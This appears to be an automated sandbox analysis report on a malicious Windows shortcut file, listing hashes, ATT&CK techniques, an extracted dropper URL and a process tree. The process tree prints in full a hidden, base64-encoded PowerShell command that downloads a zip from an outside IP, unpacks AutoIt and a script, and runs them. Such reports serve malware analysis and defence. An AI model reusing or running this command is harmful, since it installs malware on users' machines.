3a37c34e5b677b4388176fdcb41ce5c8971f6dc82116adc99309ca744c58ba66

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22/08/2024, 11:22

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General

Target

3a37c34e5b677b4388176fdcb41ce5c8971f6dc82116adc99309ca744c58ba66.lnk
Size

122KB
MD5

ffde299028d48cb2258d274f44d56766
SHA1

678fe2a8a01339138194a70763d69d18d2772beb
SHA256

3a37c34e5b677b4388176fdcb41ce5c8971f6dc82116adc99309ca744c58ba66
SHA512

4273ec62e22493ca163095d7d97c3ad6464d4d3a30eafd906ad2e0a7a3bf10524424ebab394d9c2750a8a6407be6d6830ff250179455c0864db145bcee8899ef
SSDEEP

48:8SJXs8A2A8lBUpIuuwITyJjiYG+OV1sUAZCQkBK:8SJXb9A8bUxjFGpV1sRZJ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://2.58.56.124/API481f.zip

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2304	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 2176	1344	cmd.exe	31
PID 1344 wrote to memory of 2176	1344	cmd.exe	31
PID 1344 wrote to memory of 2176	1344	cmd.exe	31
PID 2176 wrote to memory of 2304	2176	cmd.exe	32
PID 2176 wrote to memory of 2304	2176	cmd.exe	32
PID 2176 wrote to memory of 2304	2176	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3a37c34e5b677b4388176fdcb41ce5c8971f6dc82116adc99309ca744c58ba66.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGEgPSBbU3lzdGVtLkVudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJyk7ICR1cmwgPSAnaHR0cDovLzIuNTguNTYuMTI0L0FQSTQ4MWYuemlwJzsgJHppcFBhdGggPSAiJGFwcGRhdGFcQVBJNDgxZi56aXAiOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1cmwgLU91dEZpbGUgJHppcFBhdGg7IEFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLklPLkNvbXByZXNzaW9uLkZpbGVTeXN0ZW07IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06OkV4dHJhY3RUb0RpcmVjdG9yeSgkemlwUGF0aCwgJGFwcGRhdGEpOyAkYXV0b2l0UGF0aCA9ICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSI7ICRzY3JpcHRQYXRoID0gIiRhcHBkYXRhXHNjcmlwdC5hM3giOyBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkYXV0b2l0UGF0aCAtQXJndW1lbnRMaXN0ICRzY3JpcHRQYXRoOyBSZW1vdmUtSXRlbSAtUGF0aCAkemlwUGF0aA0K')) | Invoke-Expression"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGEgPSBbU3lzdGVtLkVudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJyk7ICR1cmwgPSAnaHR0cDovLzIuNTguNTYuMTI0L0FQSTQ4MWYuemlwJzsgJHppcFBhdGggPSAiJGFwcGRhdGFcQVBJNDgxZi56aXAiOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1cmwgLU91dEZpbGUgJHppcFBhdGg7IEFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLklPLkNvbXByZXNzaW9uLkZpbGVTeXN0ZW07IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06OkV4dHJhY3RUb0RpcmVjdG9yeSgkemlwUGF0aCwgJGFwcGRhdGEpOyAkYXV0b2l0UGF0aCA9ICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSI7ICRzY3JpcHRQYXRoID0gIiRhcHBkYXRhXHNjcmlwdC5hM3giOyBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkYXV0b2l0UGF0aCAtQXJndW1lbnRMaXN0ICRzY3JpcHRQYXRoOyBSZW1vdmUtSXRlbSAtUGF0aCAkemlwUGF0aA0K')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2304-40-0x000007FEF624E000-0x000007FEF624F000-memory.dmp

Filesize
4KB

Download
memory/2304-41-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2304-42-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2304-43-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-44-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-45-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-46-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-47-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2304-48-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download